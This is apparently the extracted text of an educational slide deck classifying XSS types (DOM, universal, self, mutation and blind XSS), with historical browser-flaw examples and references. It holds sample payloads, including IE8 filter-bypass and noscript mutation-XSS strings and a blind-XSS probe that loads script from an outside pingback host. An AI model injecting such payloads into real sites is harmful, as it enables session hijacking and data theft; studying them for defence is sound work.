Types of XSS evolution
2 types:
No client-side framework, no XSS-protection libraries, old web browsers without fancy features etc.
a.k.a. persistent or Type 1
a.k.a. non-persistent or type 2
Amit Klein defined a new type of XSS:
DOM Based XSS
a.k.a. type 0
the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser.
Example:
document.location.href
document.write
DOM based = client-side XSS
Thanks to local databases, client-side frameworks, etc.
mid 2012, the research community proposed and started using two new terms: Server XSS Client XSS
mid 2012, the research community proposed and started using two new terms:
OWASP is still using this.
Attack that exploits a vulnerability in the browser or browser extensions in order to generate an XSS condition.
Access not only the current session but also access sessions from all opened or cached pages by the browser.
Works on every websites even well secured ones.
Vulnerability in the Adobe Acrobat extension for Internet Explorer 6 or Firefox.
Execute JS when PDF is opened --> fill form with external data
Flaw in the XSS filters of Internet Explorer 8.
XSS filter: alter the response before rendering the page.
Equal sign was removed by the filter but with a crafted XSS string, this logic would cause the browser to create the XSS condition.
= --> #
=
#
x onload=alert(0) x
<img alt="[[injection here]]" src="x.png">
<img alt="x onload=alert(0) x" src="x.png">
<img alt#"x onload=alert(0) x" src="x.png">
Flash Player UXSS Vulnerability – CVE-2011-2107.
Get access to Gmail settings and add a forwarding address, using a crafted .swf file.
.swf
Attackers has access to copies of all emails received.
Inject malicious code into arbitrary web pages loaded in Chrome for Android via an Intent object.
Universal XSS
The victim of the attack unknowingly runs malicious code in their own web browser.
Social engineering: paste in address bar (old), paste in web dev console.
Paste-jacking with overlong spaced payload: form.
div
innerHtml
template
<div><script title="</div>">
<html> <head></head> <body> <div> <script title="</div>"></script> </div> </body> </html>
<script><div title="</script>">
<html> <head> <script><div title="</script> </head> <body> "> </body> </html>
noscript
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
if JavaScript is disabled
<noscript> <p title="</noscript><img src=x onerror=alert(1)>"></p> </noscript>
DOMPurify: no sanitization because no JS -> no XSS
if JavaScript is enabled
<noscript><p title="</noscript> <img src="x" onerror="alert(1)"> ""> "
XSS triggered!
Where there is an XSS you can't see or know about (from the attacker POV).
probe attacker controlled service
"><script src="http://pingback.example.org"></script>
noraj's XSS classification model:
Source - Website
OWASP:
Types of XSS - XSS
mXSS
acunetix - securitum - wikipedia - cure53 - LiveOverflow [1] [2]
Acunetix:
Universal Cross-site Scripting (UXSS)
ASafety:
Élever et exploiter une Self-XSS via WYSINWYC
bXSS
PayloadsAllTheThings - XSS Injection
WebRTC
The Security of WebRTC (paper) - WebRTC at AppSecEU 15
+ in-slides references